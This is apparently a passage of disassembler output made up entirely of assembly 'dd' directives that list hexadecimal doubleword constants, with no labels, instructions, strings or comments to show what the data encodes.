		dd 0DDECCE00h, 52F41D76h, 1C8E1E1Fh, 85B8B6Ah, 6D040500h
		dd 820065DEh, 0FAE09DB3h, 0F173F9Eh, 0A1202F15h, 339889E0h
		dd 0EE5B68A4h, 0B203D9F8h, 7327348Eh, 3D39BEA0h, 0D5E7ECFBh
		dd 62099FF8h, 0E0AEA79h, 7071C09Eh, 5A978Dh, 6F11BEEh
		dd 986B0848h, 11166A7Ch, 53000C0Ah, 1EDDAEE8h, 0DC3201D5h
		dd 0B6A2F6B8h, 18E880BAh, 45B45D47h, 0A4CF0E78h, 0F4A14E77h
		dd 0E027B1DEh, 342E983Fh, 0E0004940h, 0FB42F0D2h, 88081F25h
		dd 1B590719h, 31A240D1h, 0AD0033AFh, 0F3DBB274h, 78EE55FCh
		dd 9E200F36h, 41E01B6Bh, 0B08F89A9h, 0D01896ECh, 69D89AA3h
		dd 0EF5A0048h, 5365BFACh, 13895C4h, 0C21BA652h,	2EA509h
		dd 0B9D7CD06h, 0DD6B0E93h, 83E07470h, 49CAFA59h, 0C2D9BA00h
		dd 9A2832D2h, 37FD0AA3h, 3E635AAh, 0B0AEB69Ch, 7B88BDF3h
		dd 771C36D8h, 0AFC0DED5h, 6A1DE537h, 0D4BC00B7h, 0A8CC0567h
		dd 4300ED18h, 0F1DF4959h, 14AD32Fh, 89BEEB96h, 206B48AFh
		dd 0DB00DA78h, 0BA39F1FFh, 3F2E9637h, 76809106h, 71EC701Eh
		dd 851F4038h, 0F8408DD7h, 8E9231E8h, 51F21CB7h,	77FE4F24h
		dd 0EAB6B560h, 0DD002B5Ah, 571F2C2Eh, 0E1A590h,	0A4EEFC94h
		dd 0E6224B6Ch, 3A0A3200h, 4FD7F06Dh, 0E27C00EBh, 8A4440EEh
		dd 0CD721DE9h, 0CE71067Ah, 2DB014EEh, 0B04E6D00h, 0C5B54610h
		dd 50400035h, 481BC3A4h, 0A6009AF3h, 98563487h,	9B06B5h
		dd 44D4DFA9h, 66EFDE8Bh, 0F80CF900h, 384EB937h,	0B5972C43h
		dd 3F0B808Fh, 47212392h, 5EB89A00h, 44FD83F1h, 3D697B91h
		dd 6E00E290h, 46E833CCh, 98008CD9h, 0ADF4AB53h,	2E8D47F5h
		dd 53FE0Eh, 61BBC58Fh, 0B538BE2Bh, 516900D4h, 7B3696CBh
		dd 6D310010h, 0F99A6EB1h, 7103A16Ch, 99BDBA34h,	0AE80AC5Bh
		dd 1A6B5F0h, 5EC0784Dh,	0D8FEBE19h, 9600F4CBh, 37B3AA10h
		dd 1A8C46h, 0EA88E0B7h,	36D3F1F5h, 4DE95900h, 0F87D591h
		dd 32FE0B5h, 3FC94CA4h,	0C0F8904Eh, 7800C3C2h, 413A547Bh
		dd 218244h, 30E8E7F5h, 67D6059Ch, 3803C500h, 0AF61503Ch
		dd 33700F19h, 2AC08020h, 15056FAAh, 18D91C04h, 518091DDh
		dd 0C81659h, 0C7145DC5h, 778708FBh, 3951F109h, 0AD5487E1h
		dd 7B0B6CE0h, 62DE668h,	4F36DE78h, 2A00E486h, 0F23EE94h
		dd 77A531h, 2E5AFAC9h, 0CB4DD68Eh, 443FD00h, 7F026A0h
		dd 68107D9h, 10E8C1EBh,	2C84CA34h, 30216001h, 64D49F82h
		dd 3CF0EF8h, 93B35394h,	41B8C95Dh, 0F224673Bh, 0EA00CC2Eh
		dd 699AAB54h, 0B8C00ACh, 60AF155h, 30062E1h, 1560E0A3h
		dd 791A5437h, 0F80B00E4h, 7DFF1749h, 8500C424h,	0C61DD07Ah
		dd 38218BFh, 53FD7EDAh,	709025E0h, 0BB004CEAh, 0E23DD464h
		dd 0B517F5h, 0DDFA24D5h, 0EE5658A9h, 0DB7E0800h, 322678A2h
		dd 0D8D600ECh, 7957BADh, 0BA1D7186h, 1980F343h,	7F15DE44h
		dd 740D1F46h, 25BB000Bh, 430650Ch, 54FD6000h, 0FFCC47A6h
		dd 0A0A5006Dh, 0BCC94DDAh, 9FF0AD5Eh, 0E21D5701h, 28980B9h
		dd 736545C8h, 0C8400BEh, 3D78D6CDh, 51E4762Fh, 0DDC8F900h
		dd 2B462103h, 3C994C6Fh, 8C1FB14h, 4F109584h, 0EDE1F01h
		dd 9FAC00FDh, 6E3E940Dh, 0D18B0E7Ch, 0FE6F802Fh, 5846A100h
		dd 2300E09Fh, 0F8E8702h, 0AB95Bh, 0CC10A7C5h, 3D0BF326h
		dd 0EC2B7400h, 0D15EA487h, 0C41400C9h, 0E56EA05Fh, 1800B264h
		dd 0BA7A4DD8h, 0FAADF65h, 61DC5EA5h, 0E1E79622h, 3C0CD960h
		dd 0B2EB49C0h, 0FAE556A6h, 7F670047h, 33BC4ABBh, 0EE013C1Ch
		dd 0D6080C77h, 7680E8C8h, 6338B02Fh, 9000F232h,	48556995h
		dd 1013ACBh, 0C9F5149h,	0DCA98E23h, 7800A0EDh, 0CB9E3638h
		dd 391E19Ch, 0C86637F2h, 0B4F05650h, 0C30A6A08h, 0F4275E9Ah
		dd 0F8804380h, 0C6E42Bh, 0DCCDEFFh, 97F47B98h, 0F1600500h
		dd 79529035h, 0D4BE071Ah, 4CB03C74h, 590C39D1h,	10C7AFFBh
		dd 0EB360080h, 0D5196FE4h, 0E00067E6h, 0C8C2691h, 6FBDE56h
		dd 9D52ECDDh, 0D679414Dh, 3C040E00h, 0AF986476h, 858C002Ah
		dd 870D33B4h, 0B50E1A6Eh, 78017591h, 26A630h, 0AADD8C67h
		dd 0EE9B37C1h, 93FE4C00h, 0D04678EAh, 43E70066h, 0F53FB15Fh
		dd 1718D152h, 0F370BF81h, 70CC0134h, 60BA4736h,	30198E7Ah
		dd 166CA555h, 69AF75C0h, 600E06D1h, 388FBD56h, 0C900C67Eh
		dd 5427466h, 0CEA15Dh, 0C101E424h, 337CD0A9h, 85B5320Dh
		dd 65C01998h, 90DF000Bh, 5FC2952Dh, 0C0015B4h, 0F2C4476Ah
		dd 1FC5AA70h, 805CDB50h, 3268F972h, 502483Dh, 0B30C6BC1h
		dd 0CB9560D6h, 743B0049h, 1C478CA4h, 9D0B5979h,	8095D55Eh
		dd 1E533A2h, 23F05A7h, 0FA5D9853h, 37A62E00h, 8EC3Bh, 0EF77D79Fh
		dd 8623FD5Ch, 2CACD20Ch, 48A826h, 3E73B5C4h, 506F835Bh
		dd 0C8DE3700h, 4C0DCA55h, 0E19507CDh, 0E0BBEC52h, 0E04AF5C0h
		dd 80371F3Bh, 8FD79E96h, 742FC765h, 0F71F028h, 78B0C533h
		dd 1612EF00h, 2039962h,	0C392238Bh, 0B19C9886h,	3B8E00B7h
		dd 0EB9BE835h, 0E67CD91Fh, 8BCB9D17h, 0B7DE00FAh, 1322E298h
		dd 1C408800h, 710DBE74h, 9DAE00FDh, 0E8ABEEECh,	880010C4h
		dd 0EFCF5B59h, 14088EA4h, 88A57FF2h, 44D9903h, 974AE5h
		dd 1C6BE0C2h, 7F8F1FEh,	659B8D01h, 0C54AEF9Fh, 64E04880h
		dd 5818BA20h, 0C2100F60h, 0BEF85E8h, 8F0D357Bh,	472F4807h
		dd 3200C9Dh, 0AD827700h, 5793225Fh, 95A418C5h, 0F3A9B9FFh
		dd 0AE99D601h, 0E01607E4h, 0E94FDBD8h, 69E82080h, 0F453A583h
		dd 93050600h, 0E602A43Fh, 0CDE383E3h, 5ECD80ACh, 3D000368h
		dd 2F057F78h, 1B657A2h,	0F627C4A5h, 5B505AA8h, 6E148030h
		dd 9E50D8Bh, 1AC1B649h,	30288788h, 2CE44860h, 74310100h
		dd 0A3C7D469h, 28EB00E6h, 490FEFF9h, 9F0FCB43h,	0A037CCD0h
		dd 59A826ADh, 0D31A00EDh, 2DDCAA41h, 882EB4FAh,	970022F7h
		dd 5A5BCC6Ah, 4E621F7Bh, 0EE00389Fh, 51932C80h,	6C3CA68Dh
		dd 190200E5h, 6BCE7CC8h, 7AB00071h, 31FB4AF0h, 0C1007221h
		dd 6A888749h
		dd 0F73B62h, 71162F02h,	4ACBE5A4h, 1559A700h, 0A9A27D45h
		dd 1CDE0076h, 242A0BB7h, 15C06A3h, 7A740065h, 0B28CA860h
		dd 4DE400E3h, 0EA92F63Fh, 0AC391566h, 43B000D9h, 4F91C6D3h
		dd 0DFCA006Bh, 428C1CA7h, 781CC0C1h, 0D7C19E19h, 8B6BE305h
		dd 0CAB0B7EBh, 1B1DF8h,	79519BA9h, 5E246341h, 8F5A51Dh
		dd 92A75400h, 4BB527h, 2BF6FCA9h, 0A714477h, 0FB8F0200h
		dd 0ECD9AA6Ch, 0F1B90347h, 0FD278480h, 526312D0h, 0D0A6CC03h
		dd 0B01BDE6Dh, 0E43FD9h, 329B7957h, 40155216h, 0B10F9100h
		dd 7167F02Ah, 0B33E20Ch, 640DC958h, 0F635D200h,	5072AA7h
		dd 2E9C8432h, 858D73D0h, 0A9570083h, 4AF1109Dh,	23F61266h
		dd 0C500F8F0h, 0A43E2D37h, 0ED92E8Ah, 475F877Bh, 99D70076h
		dd 89A04007h, 811DF93Ah, 7E39E39Bh, 22E4E8FAh, 5F88059Fh
		dd 0C0BA02CDh, 32EA4CB9h, 3A109907h, 69A30E63h,	1580EC3Eh
		dd 0F4A708A1h, 7C9A0050h, 8E47A309h, 720BE805h,	809075DAh
		dd 0B7789B37h, 310C003Ah, 1B545B68h, 0CB004972h, 0EFEA7A2Fh
		dd 3902D999h, 0B28F0905h, 3E20BFCAh, 0B98BA4F3h, 40777114h
		dd 0A5A71EECh, 96B2027Bh, 807C6437h, 0E136E5DCh, 5A74007Ah
		dd 62ED6FFDh, 5C19D79Dh, 753853E2h, 0E6A30970h,	2987A39h
		dd 0FB143C8Ah, 440453Bh, 0B507ECB1h, 765483B8h,	8794A180h
		dd 0DD29000Bh, 0CB6BC73Ch, 0A63A03A5h, 0FB70802Eh, 2A760E8Ah
		dd 18CC0081h, 0A0E9DDE4h, 9D7E09C3h, 0C5B09400h, 3A26FC67h
		dd 56B41E88h, 274AE97h,	8B528758h, 91A46940h, 0FF273618h
		dd 0A3F53E1h, 8A050918h, 24ECC07Ch, 10D0440Fh, 5A8800E1h
		dd 0AC897557h, 35971468h, 0A901B85Ch, 4CCFB6AFh, 4FD8FBF8h
		dd 0EC00FFF9h, 502177FDh, 28D47A23h, 12CA3125h,	142B6D60h
		dd 4E7EB8F0h, 138FEC95h, 67006E58h, 748FA089h, 904009Ch
		dd 0A28303A8h, 7E00B1B2h, 541F44E1h, 2075D1h, 0FC9591CAh
		dd 9B710F5Ch, 0D9818D00h, 0F54C795Ah, 3DB7A46h,	0A4FD3C59h
		dd 0F98836BCh, 0F400B6C9h, 5548009h, 0A9180Bh, 3D94A841h
		dd 292E449h, 90295F00h,	52C44F75h, 83EB00DBh, 0AB204CA1h
		dd 0CF03D87Bh, 7CE551CBh, 0DB95C87Eh, 50E2618h,	9F1258h
		dd 0CA93AD82h, 21E8D7Dh, 0C4A82810h, 0B00C3E0h,	42135F3Eh
		dd 638E86h, 1F11718h, 3C1EC66Bh, 0BE92A21Ch, 60A7298Fh
		dd 0C4B5C7ECh, 16C21C1Ah, 0E0429887h, 0BC00565Ch, 6C28CF91h
		dd 785099CDh, 6FD60139h, 6A21CA5h, 0FD5120DDh, 0B98C7600h
		dd 2FEE01DEh, 0F83500FBh, 9C3A8124h, 0DC002A31h, 51585AA5h
		dd 8E06E9h, 0F3E7DD13h,	80B752D2h, 98CD6E01h, 6D72C04Dh
		dd 3D7EAC0h, 6B22E1C3h,	0C1F080Dh, 0BC09DDC9h, 185072h
		dd 8773494Eh, 0AC3C4BD9h, 97503A00h, 472178A0h,	42B90044h
		dd 0D8080FBFh, 5B008B85h, 4D4ABB9Ah, 7BE0F0C5h,	0A52F0FA9h
		dd 0F1825F76h, 60D13Ah,	40780B80h, 0F4BCF800h, 54AA5D96h
		dd 61C20767h, 0C0378157h, 0FE9F7E24h, 106D2300h, 0B9A5AC19h
		dd 8070F5h, 0EB71A73h, 84CE448Ch, 5FA17700h, 0FD1834CFh
		dd 0CD6100B8h, 0E5C9C766h, 0F200EED9h, 112A196h, 0B01650h
		dd 15BC956Fh, 0DFD74320h, 1F00CB7Ch, 22072E94h,	0ECD9C72h
		dd 9A23578Dh, 0D5E6CE82h, 0B90CD880h, 0CF00A3D9h, 5D813B10h
		dd 0E74F0Eh, 0C6996A07h, 0D1512041h, 0DF000890h, 0AD64B30h
		dd 729726Bh, 0CC6424D3h, 66409FB6h, 0DF25795Eh,	5A23EC0Eh
		dd 2F1AE07Dh, 3ACF1C36h, 0F8044780h, 0C06E8E65h, 7A946D79h
		dd 5800D37Ch, 0C1C8E597h, 0EC406607h, 6D630054h, 71E26EE1h
		dd 7900D894h, 0F95CA0C2h, 26EE5A91h, 3789022h, 0CBAADA9Bh
		dd 3B621A8h, 0A8A2E800h, 0D530DCF9h, 0A4D700F5h, 64CDB4B0h
		dd 80034774h, 0A0FE5256h, 0CFABE8FAh, 41E3073Bh, 0D08AE6D2h
		dd 7B507C82h, 9286B200h, 0EDDCF0ACh, 0E290D3h, 0E05B4EF5h
		dd 9A7A7837h, 0F6FC2350h, 1B01F9E0h, 796ACA40h,	59F05403h
		dd 9090BEh, 0A8A92D07h,	6F2C89BDh, 0F029C13h, 4D05A600h
		dd 71B398Bh, 8E19F7D9h,	274C5335h, 0BEEA0AFh, 3E0CC833h
		dd 1110EA1Ch, 0CCD7C18h, 822E6524h, 0F8090281h,	999A78h
		dd 4AFB4DA4h, 321A00BCh, 2EFF5E77h, 0A4031E18h,	2CF396Eh
		dd 7BEEC3D1h, 0B89E0038h, 1083432h, 0A70C5B7Fh,	78860E88h
		dd 4FAC387Dh, 51061900h, 74354693h, 69E9A600h, 36C75E45h
		dd 0A42E3050h, 2478189h, 15C8272h, 7DA03DCBh, 0B6F638C3h
		dd 5EA2189Dh, 95092083h, 382EA730h, 0B443E5Fh, 1A72A223h
		dd 0B3969080h, 0AA00C66Fh, 533BC179h, 2EDB635Bh, 2752E8h
		dd 0AFEA8DD0h, 6700E4A3h, 0FCC6C761h, 7A84DF87h, 82B90060h
		dd 34B47AA7h, 0F400978Ah, 15FCC977h, 13DE220Ch,	0DCB14Ch
		dd 5B2136C6h, 66008983h, 86DF80C6h, 7318166Fh, 99F244h
		dd 22A0D1E8h, 93FBEC84h, 87C1F300h, 0CE95F5D0h,	0A11200DEh
		dd 2F5377B7h, 3E15AAB9h, 0B0019Ch, 64700EC8h, 110C89h
		dd 3F2A5DCAh, 8FF6C53Ah, 0B897390Eh, 4C70720h, 33567650h
		dd 441A00E7h, 1FFAFCBh,	0C5038E84h, 79BCF774h, 3D2DB086h
		dd 0D80512A0h, 3EC7006Fh, 0C22A39E0h, 87441900h, 9C254F1Ah
		dd 160B303Ah, 7C1F9189h, 7800EF76h, 0F371ABBCh,	0E8928C4h
		dd 0A021133Ah, 184CE080h, 90605547h, 984819C0h,	0B22739C7h
		dd 363F15BCh, 87ACEF1Eh, 56DBFEA8h, 9C00DE04h, 52077199h
		dd 3986A9h, 0EAB93A11h,	7AF633DBh, 880A9630h, 7559C46h
		dd 84A2CB89h, 2F3963h, 58D14540h, 0F4004CA7h, 21A17BACh
		dd 241FA94h, 0ECBD895Ah, 6740F395h, 9C032CD9h, 1A6E0D3Fh
		dd 0A7400997h, 3C21ECFAh, 0CCA50C09h, 604E879h,	0BA1C767Eh
		dd 0AD055080h, 39D73910h, 0F0CE061h, 0FF2EF04Fh, 0AEA27E00h
		dd 6F99B415h, 4B8700F4h, 5C885FB8h, 5001FD13h, 65462479h
		dd 156184A0h, 3C0E48ECh, 3000AF0Ch, 7E56BAABh, 46002CA9h
		dd 429E048Bh, 4C6A34h, 0CA4F76BEh, 0C88D7903h, 0F4638026h
		dd 0AB007C28h, 36964DA4h, 39693809h, 7D7E23h, 4630E18Eh
		dd 5CC9F81Eh, 0D700AB70h, 33EB71A9h, 8537E9h, 0D26ECBC5h
		dd 0E15BA216h, 0AF00F676h, 5F29A93Ah, 792F3C33h, 0E0FA0054h
		dd 90C104DEh, 880A1EB9h, 2CF628E7h, 0A5D94B00h,	0F823EA0Ah
		dd 3DFB0775h, 3E1953h, 4258BAF3h, 0CD48E603h, 14025h, 0C36BD4D8h
		dd 88758E4Bh, 1246A800h, 0FABB74F9h, 0DA8A0018h, 7B5C8425h
		dd 5613458Eh, 0D00871Fh, 719F5F99h, 0C24A0088h,	0E630FD23h
		dd 1B002AEEh, 98DBDA01h, 1E31EFB8h, 83BC7244h, 5CB68FDDh
		dd 41C239F8h, 148480C0h, 9AFAB7h, 0C11C5268h, 0A353F61Dh
		dd 4CD750Fh, 0C8DD80E7h, 31F90277h, 39E8347Dh, 0A8418080h
		dd 0FB7FE110h, 96DD06C8h, 0D8D503CCh, 43F1AB0Dh, 32402973h
		dd 0C258FEC5h, 0B3086640h, 8EAF18E0h, 0F5003AB0h, 1990A93Eh
		dd 9A44C0h, 46DDBAB1h, 4E493F79h, 0B46AF500h, 1293EA1h
		dd 178794Ch, 9E6F62FBh,	0E4925310h, 0B2007A63h,	428A975Dh
		dd 625854h, 0E06E31B0h,	0ECFE7C84h, 4B051700h, 0F990D9EEh
		dd 8C201C6Bh, 3545C076h, 92787EDBh, 6E8D1300h, 57A751B7h
		dd 0A8672853h, 796218A7h, 71202081h, 0D3777205h, 202C8DB2h
		dd 429FEAB4h, 8A700099h, 595CA7FEh, 0C317007Dh,	9EE3A2DAh
		dd 0BA00BE13h, 0E085E5B8h, 30E89556h, 0D648B927h, 814012C6h
		dd 74DB0014h
		dd 0CF098A59h, 0B2015E0Ah, 0ADF58869h, 0C9E00EDEh, 0DB5600CEh
		dd 8F05F4E2h, 1360AF99h, 3374B708h, 0A0616073h,	71B63FD7h
		dd 0BE35F800h, 0AA90C4A7h, 228DD59h, 76A79E9h, 7ACAF860h
		dd 23A4BC50h, 32064400h, 83F88F01h, 0C89760FDh,	4D5A72AEh
		dd 0F913BB0Fh, 0FA900075h, 415CCBh, 14504E15h, 6BDA4F8h
		dd 69338C03h, 9A42F071h, 2980B0E4h, 4B09117Ch, 4871B047h
		dd 34A778Ah, 5F250CFDh,	86F0ADEEh, 47600EDFh, 92400770h
		dd 0AA160E72h, 8F00F183h, 0C9F09EDh, 7306FB0Eh,	2B0A0F9h
		dd 0B38ECCh, 0B96252C0h, 0AE192E74h, 505E1C01h,	1D3DBE85h
		dd 0F4BBD8h, 26B6B0ADh,	0F89EE1D1h, 938E20A5h, 476BE8B8h
		dd 497D6095h, 0C0F5638Dh, 39020C72h, 0D1B5DB41h, 0BACC830Ah
		dd 8D4C07Ah, 0E1320734h, 0C11DB857h, 436824BFh,	5D0B6C8h
		dd 0A1006285h, 3B25DC6Eh, 6EC7C75h, 9424ADA9h, 1782858h
		dd 40F28F09h, 7E500002h, 2C46C42Ah, 135790Ah, 1DE02E04h
		dd 0DE588027h, 4EF34A09h, 0F69A1398h, 0B789E052h, 0F4ACDA00h
		dd 0A96775A2h, 20E90087h, 6998D356h, 9101825Bh,	113C70A4h
		dd 1ECDFB4Fh, 0C7D4C88Ch, 5B007841h, 746A6328h,	1C2C9DCh
		dd 0B0FAD785h, 0E4A816D9h, 0BB004A55h, 8E8B7701h, 920CCB2Dh
		dd 0F019002Ch, 2A5E380Ah, 900E763h, 0BA3F64D1h,	3377E36h
		dd 0A8E25DE0h, 30052C9Ch, 4D9EB699h, 0C014804Fh, 0FE63165h
		dd 664F32DDh, 3040E118h, 0B36095C7h, 9AE26E29h,	0D140C002h
		dd 0B581B098h, 20B1FE30h, 3D803E5Ah, 5F801BAFh,	0EC4DF5B4h
		dd 190044B2h, 23A90864h, 0F9BE836h, 2D556787h, 99A1B180h
		dd 0AA05E232h, 0BC8D9DC6h, 17616580h, 0F8310CCEh, 8219FDF1h
		dd 0D23A0B00h, 84413770h, 5F93008Bh, 3E39CD96h,	0F9F48E35h
		dd 31CFC900h, 60EFE4EDh, 78C5F05Dh, 33CB811h, 2ED18D35h
		dd 310F50A0h, 2189D76Dh, 23F9BD9h, 3068BCE0h, 0E948F8DBh
		dd 0D5605115h, 7E273E88h, 30D860D6h, 5638C49Dh,	0ECDA5D00h
		dd 25FD3BB6h, 0C2FF0097h, 36B32C72h, 290BE3D1h,	82AE68D6h
		dd 803E7D84h, 0AFD7E508h, 0E34B0062h, 0E16D050Eh, 0C202F6ECh
		dd 0AC4EB240h, 45209054h, 577B291Ch, 31968318h,	21D5D748h
		dd 813072Ch, 0E1BE038Eh, 0B4A98D36h, 9E7EA4B9h,	30AB8F08h
		dd 1C9ABB0Ah, 0E16FCE6Fh, 0F276B1DEh, 4C5951D1h, 0BD4F7084h
		dd 0CB766048h, 91D31E62h, 280834E2h, 0BD478B38h, 3DA91605h
		dd 0C73031DAh, 1B61C4Dh, 0F1D06480h, 0CC8937CEh, 0B753E228h
		dd 19CBC59Ch, 31563430h, 0F1D314CAh, 6847A033h,	639AF680h
		dd 1F5771D0h, 9EAB0830h, 3296C2EDh, 5EE01808h, 5AA5330h
		dd 36ECB8C4h, 0EEF80ADFh, 197EC044h, 5CA12805h,	30BFC7h
		dd 11DEF666h, 33D035FAh, 91684F51h, 4B893CE9h, 37061ECh
		dd 244848A7h, 94422876h, 3F673AA0h, 51D7310Fh, 0DD041100h
		dd 0CFF02EB4h, 4D7B48ACh, 8916188Eh, 0B4E48893h, 7A91DF01h
		dd 5AD1CE2Ah, 52D01C21h, 4EB60A63h, 7050AD75h, 148ECF23h
		dd 0A051BFB6h, 352388E6h, 0A956804Dh, 80312889h, 0E4A8C35Fh
		dd 0B118B23Ah, 0DFF10891h, 30640B48h, 603108DAh, 3FD27FFCh
		dd 0F10CD794h, 25C0BB38h, 480EB0C3h, 0A428EDD0h, 0F6018E86h
		dd 31DAE728h, 0F08A1DA4h, 0AA438FCh, 148C40C5h,	3A7CD005h
		dd 147CBD8Fh, 0F8B664CCh, 1CD995F1h, 0DE02696h,	0BCF40C84h
		dd 10CFA4A0h, 0CC5947D1h, 96185ACEh, 0ABB0C4CCh, 4C82065h
		dd 0F7363BE0h, 0D3B1CE86h, 748C9034h, 1D5D88C1h, 1C57CF33h
		dd 70C150E4h, 620FB557h, 38878370h, 6613A676h, 882AD1D0h
		dd 980C0500h, 0E01612CFh, 0CC44F628h, 0CD601C91h, 13CAB9FDh
		dd 0BBE277FEh, 57276202h, 2EA8B832h, 698E094Bh,	80835A77h
		dd 0B7902B22h, 2729A135h, 53419817h, 0FFC94DB8h, 0ECD7C34h
		dd 1A5722A5h, 280C0B24h, 0EC5B0CB1h, 76B01007h,	0B17F81Eh
		dd 0B1C94761h, 34872E52h, 3D77AC70h, 0BC44972Bh, 9E1B7883h
		dd 0B6810514h, 70D5E0DCh, 6AB08E54h, 1867620h, 21193B56h
		dd 0D11AC677h, 63020AB7h, 0B49AA42Ch, 0FC8C6468h, 0D3EC0A18h
		dd 0FEDBB7E0h, 0AACC0537h, 60F738CFh, 7C78EC60h, 50FA4C3Ah
		dd 0F800CAB8h, 61E32C36h, 0C6DAAC0Bh, 49700C40h, 1500D8A5h
		dd 437E9A0Fh, 7C4A0BFh,	3427573Ch, 0D2646B03h, 287A4188h
		dd 60F4FE30h, 0A5378FFCh, 305781ACh, 8F40ADF0h,	6B787630h
		dd 9C28027h, 530A9726h,	7780DC5Ah, 15CB8CE0h, 0A959083h
		dd 0E1D71226h, 2A0C3873h, 2860D001h, 0B6E013F8h, 48275FDCh
		dd 2AA09C77h, 4678F71Ch, 18CC3351h, 1FE0C224h, 0F679EE60h
		dd 340B218Eh, 67B97B6Ch, 217473Ch, 9606FA02h, 0B874A5A9h
		dd 0A4EB0977h, 0F007FC36h, 7138E513h, 0EDB26C50h, 1229BD26h
		dd 9C386702h, 0CF301885h, 6176290Dh, 17260306h,	60F85CC3h
		dd 0BED70872h, 9EB83846h, 0AD41C3Ch, 3CD57A55h,	8BD922E0h
		dd 300092CAh, 97500F16h, 381839A3h, 573805B7h, 2C064825h
		dd 38C1A112h, 17397710h, 0B6B054F3h, 354B2D09h,	0A4148Ch
		dd 60AC90A0h, 0F451B125h, 1CD3D11Ch, 0D71A980h,	1E7B5E13h
		dd 0F9670Fh, 0AD6BDCCAh, 0A198BD70h, 6C0B94E4h,	42EBE7h
		dd 8762A149h, 18015412h, 6C8B3865h, 0B43A54A0h,	0DD030041h
		dd 0BD3EB0A6h, 5DE0EDCCh, 63303F2h, 2FAE23Dh, 69C553D0h
		dd 2C25FC1Dh, 2BACDC07h, 9B83BC82h, 3A68C030h, 0F753951h
		dd 0B1C55480h, 8F69FD03h, 0E8387DE0h, 719D07D8h, 42C30460h
		dd 0F05DA083h, 7D3600F7h, 1C6EBEC2h, 0D0804EB4h, 13CE8CBh
		dd 0FD365F48h, 0E16C2E01h, 5C0880E0h, 3D372B11h, 3689032Ch
		dd 348C265Dh, 8EA405C1h, 81C2E0B0h, 6EC1B09Ch, 0C5A83E0h
		dd 6AD47C61h, 98A1C758h, 2AC4A22h, 38332173h, 0D8740356h
		dd 35DDC814h, 3A007494h, 0E35C69A8h, 33FD379Eh,	6E7029ABh
		dd 1420B8C6h, 79B328C9h, 0EF622B98h, 3AA10094h,	0AABFF433h
		dd 0A214510Ah, 8B0ABCD9h, 3838C408h, 0EDFD01D6h, 0A57C69BAh
		dd 507D34CCh, 5D8421h, 0BD07B9C4h, 0BC6E96BFh, 68529B09h
		dd 41A38E9Ch, 1F9311F3h, 0A42304D0h, 99FC046Ch,	25701D0h
		dd 800EDE34h, 3E04F5D0h, 0F05E7C7Dh, 0A23F303Dh, 6C3028C8h
		dd 0E0AE9C32h, 128457Ch, 10DDBC94h, 0A5C8A82Ah,	0C8489360h
		dd 5BD0676h, 9D02FDB1h,	1DA01EF1h, 7D18FAE1h, 0CB3D1028h
		dd 3018DD66h, 9B9D1CF0h, 0E8013DCCh, 977D02C2h,	79BDC075h
		dd 0B30738DDh, 54C337CFh, 991DC0FBh, 9668C651h,	0D774C107h
		dd 4D953D1Fh, 0FB8D013Ch, 0AAD9BD02h, 0A31EE88Eh, 80D19D84h
		dd 0E19B5D6Ch, 0F8CE48CFh, 0C3102F18h, 0AA1F9A0h, 0DF87AE0h
		dd 8CE2F5F9h, 8E40418h,	30D86266h, 84255D5h, 43E7D743h
		dd 6830E93Ah, 1A3D18B3h, 0ADE8C63Fh, 8D241009h,	5071C9Fh
		dd 0AF456F84h, 817B44Ch, 0F86B50FCh, 60F8483Ch,	78C67C18h
		dd 0DD701EBDh, 5B361D12h, 98AC1403h, 100CC737h,	0A6B524BDh
		dd 312F1884h, 36005219h, 68F24E1Dh, 90A0925Ch, 61816444h
		dd 3D2481D8h, 1DB08589h, 0AC03B7BDh, 0E107D1D5h, 0FDD0A8F0h
		dd 0C78DF34h, 0E720A180h, 67A83362h, 0CBD44047h, 0E1E0E91Fh
		dd 45B18079h, 617D7CF8h, 0A3FE70C4h, 0F89B7506h, 40A82430h
		dd 0F06E43BDh, 1068E067h, 12CF23Ch, 0FD349DBAh,	892A36Bh
		dd 5CD80396h, 6831D335h, 0C71C80F9h, 453CC2F7h,	79CC05DCh
		dd 9E385A0h, 2C21F4DCh
		dd 81FCC85Dh, 5C462E8h,	9C4004BDh, 90A7DA7Dh, 50CF4CE0h
		dd 90B03D0Ch, 0CFE92F30h, 5AEE03E8h, 9332F71Eh,	94AEB7C7h
		dd 3D5F06FFh, 45735820h, 12227700h, 0FD6F1766h,	393ED7F0h
		dd 6E970019h, 0EB764ECh, 317F8F2h, 0F76616CAh, 97A04383h
		dd 6E7CAF3Eh, 6914581Fh, 4F515018h, 0C030C0EDh,	1575A68h
		dd 9CA0F3FDh, 771F660Fh, 0B70769A9h, 86CEFEADh,	38108156h
		dd 0D68C0CE1h, 0E508126Ah, 0B6011579h, 0F60844D5h, 10BC0B64h
		dd 9638F8B1h, 0AAA8A670h, 630C531Dh, 78EB0B8h, 0FE560DDAh
		dd 67CB4FB4h, 7955AB20h, 0BF033750h, 74D764A1h,	1257A0EBh
		dd 3F7F0A5h, 7753B39Ch,	5019B575h, 0AE10B423h, 0F102A16Ah
		dd 61589B49h, 42DFC108h, 3C3F6F0h, 0C7760845h, 0EC00A5Dh
		dd 0A1006527h, 16AE8674h, 1044310h, 35F82AB9h, 432541CEh
		dd 7873D790h, 571DF01h,	6B926696h, 72531C50h, 5D9F2E9h
		dd 77EE35C1h, 9094001Bh, 28575271h, 760DB306h, 29E06547h
		dd 3C04EFh, 45C4F692h, 3512C6ADh, 80A068Eh, 6DC03497h
		dd 1E84B911h, 4035BF33h, 37671D8Ch, 5A0C1C04h, 8E7A377h
		dd 0D718C3BCh, 0C03B2407h, 0B7660A12h, 0F70CA493h, 825B0961h
		dd 3113885h, 624879FCh,	6FFF24E0h, 0EC64D0F8h, 4884E150h
		dd 67BFFC00h, 0C15C1F7h, 0BBD83766h, 4C902D68h,	1CB39724h
		dd 0A3095700h, 6E417764h, 0A4F42018h, 0E7C5B700h, 0BAC0576Eh
		dd 271F0E9h, 0FB1E18C6h, 10486F08h, 4801D989h, 8CFD6C17h
		dd 0E80ACCC0h, 0C1D401Fh, 0E9E85490h, 4908FC67h, 4D96419Fh
		dd 7FD10DE0h, 0B797F600h, 0E27B8A0h, 49760C1Bh,	0F2BC9138h
		dd 3A1A2820h, 6D1953CFh, 0D44208E4h, 79311752h,	9E1C1045h
		dd 0B6F0F7E1h, 0A04EF850h, 0DF5ED6E4h, 71150C10h, 0B2483058h
		dd 0A1AD1858h, 0F0829E18h, 6BD90177h, 7448360Ch, 9DA2E052h
		dd 6D3137E8h, 0B508A828h, 487516D0h, 7A3710D6h,	1103529h
		dd 63DF86A4h, 5311E8D7h, 4A41702h, 4033360Ah, 90BAD660h
		dd 0BD56376Ch, 90F38408h, 0A5AA030h, 2C377618h,	0C948C910h
